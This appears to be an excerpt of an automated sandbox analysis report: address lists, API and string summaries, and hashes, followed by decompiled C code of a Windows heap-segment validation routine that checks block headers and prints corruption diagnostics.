0x6b49a70e
0x6b49a71a
0x6b49a71e
0x6b4e1fcb
0x6b4e1fcf
0x6b4e1fdd
0x6b4e1fe3
0x6b4e1fe3
0x6b49a724
0x6b49a728
0x6b49a72a
0x6b49a72d
0x6b49a737
0x6b49a73a
0x6b49a73c
0x6b49a742
0x6b49a748
0x6b4e1f4d
0x6b4e1f50
0x6b4e1f56
0x6b4e1f5c
0x6b4e1f5f
0x6b4e1f7e
0x6b4e1f83
0x6b4e1f61
0x6b4e1f76
0x6b4e1f7b
0x6b4e1f89
0x6b4e1f8e
0x6b4e1f93
0x6b4e1f94
0x6b4e1f9a
0x6b4e1f9c
0x6b4e1f9e
0x6b4e1fa1
0x6b4e1fa1
0x6b4e1fa6
0x6b4e1fa6
0x6b4e1f50
0x6b49a74e
0x6b49a751
0x6b49a754
0x6b49a75d
0x6b49a75e
0x6b49a762
0x6b49a767
0x6b4e1faf
0x6b4e1fb0
0x6b4e1fb9
0x6b4e1fbe
0x6b4e1fc2
0x6b4e1fc2
0x6b49a76d
0x6b49a76d
0x6b49a775
0x6b49a778
0x6b49a77d
0x6b49a77d
0x6b49a71e
0x6b49a782
0x6b49a787
0x6b49a789
0x6b4e1ff3
0x6b49a78f
0x6b49a78f
0x6b49a78f
0x6b49a791
0x6b49a794
0x6b4e1ffd
0x6b4e2006
0x6b4e200c
0x6b4e2017
0x6b4e2019
0x6b4e2024
0x6b4e2024
0x6b4e2024
0x6b4e2047
0x6b4e2047
0x6b4e200c
0x6b49a79a
0x6b49a79f
0x6b49a7a4
0x6b49a7a9
0x6b49a7ab
0x6b4e205a
0x6b49a7b1
0x6b49a7b1
0x6b49a7b1
0x6b49a7b3
0x6b49a7b6
0x00000000
0x6b49a7bc
0x6b4e2066
0x6b4e2068
0x6b4e2073
0x6b4e2073
0x6b4e2073
0x6b4e2078
0x6b4e2079
0x6b4e207d
0x00000000
0x6b4e207d
0x6b49a7b6
0x6b49a440
0x6b49a440
0x6b49a440
0x6b49a446
0x6b49a44c
0x6b49a44f
0x6b49a453
0x6b49a455
0x6b4e20b3
0x6b4e20b9
0x6b4e20b9
0x6b49a45d
0x6b49a460
0x6b49a464
0x6b49a466
0x6b49a46b
0x6b49a46f
0x6b49a471
0x6b49a471
0x6b49a471
0x6b49a474
0x6b49a479
0x6b49a47d
0x6b49a47f
0x6b4e2229
0x6b4e222f
0x6b49a3c8
0x6b49a3c8
0x6b49a3ca
0x6b49a3ca
0x00000000
0x6b49a3ca
0x6b4e2235
0x6b4e223a
0x6b4e223a
0x00000000
0x00000000
0x6b4e2240
0x6b4e2246
0x6b4e224a
0x6b4e2269
0x6b4e226e
0x6b4e224c
0x6b4e2261
0x6b4e2266
0x6b4e2274
0x6b4e2279
0x6b4e227e
0x6b4e2286
0x6b4e2288
0x6b4e228d
0x6b4e228d
0x6b4e2292
0x6b4e2292
0x6b4e2295
0x6b4e2295
0x00000000
0x6b4e2295
0x6b49a485
0x6b49a489
0x6b49a48b
0x6b49a48f
0x6b49a493
0x6b49a497
0x6b49a49b
0x6b49a4bb
0x6b49a4bb
0x6b49a4bd
0x6b49a4ff
0x6b49a4ff
0x6b49a501
0x6b49a505
0x6b49a50f
0x6b49a517
0x6b49a51b
0x6b49a527
0x6b49a52b
0x6b4e2182
0x6b4e2185
0x6b4e2193
0x6b4e2199
0x6b4e2199
0x6b49a531
0x6b49a535
0x6b49a538
0x6b49a548
0x6b49a54b
0x6b49a54d
0x6b49a553
0x6b49a559
0x6b4e2100
0x6b4e2103
0x6b4e2109
0x6b4e210f
0x6b4e2112
0x6b4e2131
0x6b4e2136
0x6b4e2114
0x6b4e2129
0x6b4e212e
0x6b4e213c
0x6b4e2141
0x6b4e2147
0x6b4e214d
0x6b4e2151
0x6b4e2154
0x6b4e2154
0x6b4e2159
0x6b4e2159
0x6b4e2103
0x6b49a55f
0x6b49a562
0x6b49a565
0x6b49a567
0x6b4e2162
0x6b49a56d
0x6b49a574
0x6b49a575
0x6b49a579
0x6b49a57e
0x6b4e2169
0x6b4e216a
0x6b4e2170
0x6b4e2175
0x6b4e2179
0x6b4e2179
0x6b49a57e
0x6b49a584
0x6b49a58f
0x6b49a58f
0x6b49a52b
0x6b49a5ad
0x6b49a5bc
0x6b49a5c1
0x6b49a5c6
0x6b49a5cb
0x6b49a5cd
0x6b4e21a9
0x6b49a5d3
0x6b49a5d3
0x6b49a5d3
0x6b49a5d5
0x6b49a5d8
0x6b4e21b3
0x6b4e21bc
0x6b4e21c2
0x6b4e21cd
0x6b4e21cf
0x6b4e21da
0x6b4e21da
0x6b4e21da
0x6b4e21f7
0x6b4e21f7
0x6b4e21c2
0x6b49a5de
0x6b49a5e3
0x6b49a5e8
0x6b49a5ea
0x6b4e220a
0x6b49a5f0
0x6b49a5f0
0x6b49a5f0
0x6b49a5f2
0x6b49a5f5
0x6b4e2219
0x6b4e221b
0x6b4e208c
0x6b4e208c
0x6b4e208c
0x6b4e2095
0x6b4e2096
0x6b4e2097
0x6b4e2098
0x6b4e20a4
0x6b4e20a5
0x6b4e20a9
0x6b4e20a9
0x00000000
0x6b49a5f5
0x6b49a4bf
0x6b49a4d3
0x6b49a4d8
0x6b49a4da
0x6b4e1ede
0x6b4e1ede
0x6b4e1ee4
0x6b4e1ee9
0x00000000
0x00000000
0x6b4e1f07
0x00000000
0x6b4e1f07
0x6b49a4e0
0x6b49a4e5
0x6b49a4e7
0x6b4e20cb
0x6b49a4ed
0x6b49a4ed
0x6b49a4ed
0x6b49a4f2
0x6b49a4f5
0x6b4e20d5
0x6b4e20de
0x6b4e20e4
0x6b4e20f6
0x6b4e20f6
0x6b4e20e4
0x6b49a4fb
0x00000000
0x6b49a4fb
0x6b49a4a1
0x6b49a4a4
0x6b49a4a8
0x00000000
0x00000000
0x6b49a4aa
0x6b49a4ac
0x00000000
0x00000000
0x6b49a4b2
0x6b49a4b5
0x00000000
0x00000000
0x00000000
0x6b49a4b5
0x6b49a43a
0x6b49a340
0x6b49a346
0x6b49a600
0x00000000
0x6b49a600
0x6b49a34f
0x6b49a351
0x6b49a358
0x6b49a3c6
0x00000000
0x6b49a371
0x6b49a37a
0x6b49a37f
0x6b49a382
0x6b49a384
0x6b49a394
0x00000000
0x6b49a396
0x6b49a399
0x6b49a3a7
0x6b49a3b0
0x6b49a3b4
0x6b49a3bb
0x6b49a3d2
0x6b49a3da
0x6b49a3df
0x6b49a3e1
0x6b49a3e5
0x6b49a3ea
0x6b49a3f0
0x6b49a3f0
0x6b49a3e1
0x00000000
0x6b49a3bb
0x6b49a394

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00004000), ref: 6B49A4E0
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6B49A5C1
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6B49A5DE
RtlGetCurrentServiceSessionId.1105(?,00004000), ref: 6B49A676
RtlGetCurrentServiceSessionId.1105 ref: 6B49A782
RtlGetCurrentServiceSessionId.1105 ref: 6B49A79A
RtlGetCurrentServiceSessionId.1105 ref: 6B4E2012
RtlGetCurrentServiceSessionId.1105 ref: 6B4E2061
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6B4E2214

Strings

(UCRBlock != NULL), xrefs: 6B4E1EA0
HEAP: , xrefs: 6B4E1E95, 6B4E1F7E, 6B4E2131, 6B4E2269
((LONG)FreeEntry->Size > 1), xrefs: 6B4E1F89
(LONG)FreeEntry->Size > 1, xrefs: 6B4E213C
(!TrailingUCR), xrefs: 6B4E2274
HEAP[%wZ]: , xrefs: 6B4E1E88, 6B4E1F71, 6B4E2124, 6B4E225C

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1007659313-523794902
Opcode ID: 03760a6451afcce754a8d97d04d1c741b130f0bdbbcf02e5ce03c507f4d8bb36
Instruction ID: e7cae4c30c4cad0d083af64dcf950c73edbb0c0836e8cf1bf7b5af35067bf6e9
Opcode Fuzzy Hash: 03760a6451afcce754a8d97d04d1c741b130f0bdbbcf02e5ce03c507f4d8bb36
Instruction Fuzzy Hash: D742CD31A086819FD711DF38D484F6ABBE5EF85708F0449ADE4958B351E73CD982CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B534AEF, Relevance: 47.8, APIs: 18, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6B534AEF(signed int __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				signed int _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E6B47B150();
						} else {
							E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E6B47B150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6B47B150();
					} else {
						E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E6B52FA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E6B47B150();
						} else {
							E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E6B47B150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E6B47B150();
								} else {
									E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E6B47B150();
									} else {
										E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E6B47B150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E6B52FA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E6B47B150();
										} else {
											E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E6B4CD540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E6B47B150();
								} else {
									E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E6B53A80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E6B49E12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E6B53A80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E6B49E4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E6B49A229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E6B49A309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E6B49BC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E6B5223E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = E6B471F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x6b534af7
0x6b534afb
0x6b534afd
0x6b534b01
0x6b534b03
0x6b534b08
0x6b534b0a
0x6b534b0f
0x6b534eb5
0x6b534eb5
0x6b534ebb
0x6b5350d5
0x6b5350d8
0x6b534ff6
0x00000000
0x6b534ff6
0x6b5350de
0x6b5350e4
0x6b5350e8
0x6b535107
0x6b53510c
0x6b5350ea
0x6b5350ff
0x6b535104
0x6b535112
0x6b535115
0x6b535118
0x6b535119
0x6b5350cb
0x6b5350cb
0x6b5350af
0x00000000
0x6b5350af
0x6b534ecb
0x6b5350b6
0x6b5350bb
0x6b534ed1
0x6b534ee6
0x6b534eeb
0x6b5350c1
0x6b5350c2
0x6b5350c5
0x6b5350c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6b534b15
0x6b534b15
0x6b534b1c
0x6b534b1e
0x6b534b23
0x6b534b27
0x6b534b33
0x6b534b38
0x6b534b3a
0x6b534b3c
0x6b534b41
0x6b534b41
0x6b534b3a
0x6b534b52
0x6b535045
0x6b53504b
0x6b53504f
0x6b53506e
0x6b535073
0x6b535051
0x6b535066
0x6b53506b
0x6b535083
0x6b535088
0x6b535088
0x6b53508a
0x6b535091
0x6b535099
0x6b535099
0x6b53509d
0x6b5350a7
0x6b5350ad
0x6b5350ad
0x6b5350ad
0x00000000
0x6b53509d
0x6b534b58
0x6b534b5b
0x6b534b5e
0x6b534b63
0x6b534b66
0x6b534b69
0x6b534b6f
0x6b534be4
0x6b534bf0
0x6b534bf2
0x6b534bf5
0x6b534dc3
0x6b534dc6
0x6b534dc9
0x6b534dce
0x6b534dce
0x6b534dd0
0x6b534dd0
0x6b534dd5
0x6b534def
0x6b534dd7
0x6b534de7
0x6b534de7
0x6b534df3
0x6b535001
0x6b535007
0x6b53500b
0x6b53502a
0x6b53502f
0x6b53500d
0x6b535022
0x6b535027
0x6b535039
0x6b53503a
0x6b53503b
0x00000000
0x6b534df9
0x6b534dfd
0x6b534e90
0x6b534e94
0x6b534e9e
0x6b534ea4
0x6b534ea4
0x6b534ea4
0x6b534ea6
0x6b534ea6
0x00000000
0x6b534ea6
0x6b534e03
0x6b534e08
0x6b534f88
0x6b534f92
0x6b534f99
0x6b534f9c
0x6b534fe0
0x6b534fe4
0x6b534fee
0x6b534ff4
0x6b534ff4
0x6b534ff4
0x00000000
0x6b534fe4
0x6b534f9e
0x6b534fa4
0x6b534fa8
0x6b534fc7
0x6b534fcc
0x6b534faa
0x6b534fbf
0x6b534fc4
0x6b534fd2
0x6b534fd5
0x6b534fd6
0x6b534f34
0x6b534f34
0x00000000
0x6b534f39
0x6b534e0e
0x6b534e14
0x6b534e1b
0x6b534e25
0x6b534e2b
0x6b534e2b
0x6b534e33
0x6b534e38
0x6b534e8a
0x6b534e8a
0x00000000
0x6b534e3a
0x6b534e3e
0x6b534e43
0x6b534e47
0x6b534e53
0x6b534e58
0x6b534e5a
0x6b534e5c
0x6b534e61
0x6b534e61
0x6b534e5a
0x6b534e6e
0x6b534f41
0x6b534f47
0x6b534f4b
0x6b534f6a
0x6b534f6f
0x6b534f4d
0x6b534f62
0x6b534f67
0x6b534f7f
0x6b534f80
0x6b534f81
0x00000000
0x6b534e74
0x6b534e78
0x6b534e82
0x6b534e88
0x6b534e88
0x00000000
0x6b534e78
0x6b534e6e
0x6b534e38
0x6b534df3
0x6b534bfe
0x6b534c01
0x6b534c04
0x6b534c07
0x6b534c09
0x6b534c0c
0x6b534c0e
0x6b534c0e
0x6b534c11
0x6b534c11
0x6b534c0c
0x6b534c14
0x6b534c17
0x6b534dae
0x6b534db2
0x6b534db7
0x6b534dba
0x6b534dbd
0x6b534ef1
0x6b534ef7
0x6b534efb
0x6b534f1a
0x6b534f1f
0x6b534efd
0x6b534f12
0x6b534f17
0x6b534f2b
0x6b534f2b
0x6b534f2d
0x6b534f2e
0x6b534f2f
0x00000000
0x6b534f2f
0x00000000
0x6b534c1d
0x6b534c1d
0x6b534c20
0x6b534c23
0x6b534c26
0x6b534c29
0x6b534c2c
0x6b534c2e
0x6b534d91
0x6b534d91
0x6b534d92
0x6b534d97
0x6b534d9e
0x00000000
0x6b534d9e
0x6b534c34
0x6b534c37
0x6b534c39
0x6b534c3c
0x00000000
0x00000000
0x6b534c45
0x6b534c48
0x6b534c4e
0x6b534c50
0x6b534c78
0x6b534c78
0x6b534c7b
0x6b534c7d
0x6b534c80
0x6b534c84
0x6b534cad
0x6b534cad
0x6b534cb0
0x6b534cb8
0x6b534cbb
0x6b534cbe
0x6b534cc1
0x6b534cc7
0x6b534cdc
0x6b534cc9
0x6b534cd2
0x6b534cd4
0x6b534cd4
0x6b534cde
0x6b534ce0
0x6b534d13
0x6b534d13
0x6b534d16
0x6b534d18
0x6b534d29
0x6b534d2a
0x6b534d2c
0x6b534d34
0x6b534d1a
0x6b534d1a
0x6b534d1a
0x6b534d1d
0x6b534d1f
0x6b534d22
0x6b534d24
0x6b534d24
0x6b534d3c
0x6b534d3f
0x6b534d45
0x6b534d47
0x6b534d6c
0x6b534d6c
0x6b534d70
0x6b534d7e
0x6b534d84
0x6b534d84
0x00000000
0x6b534d49
0x6b534d49
0x6b534d56
0x6b534d56
0x6b534d59
0x00000000
0x00000000
0x6b534d4e
0x6b534d50
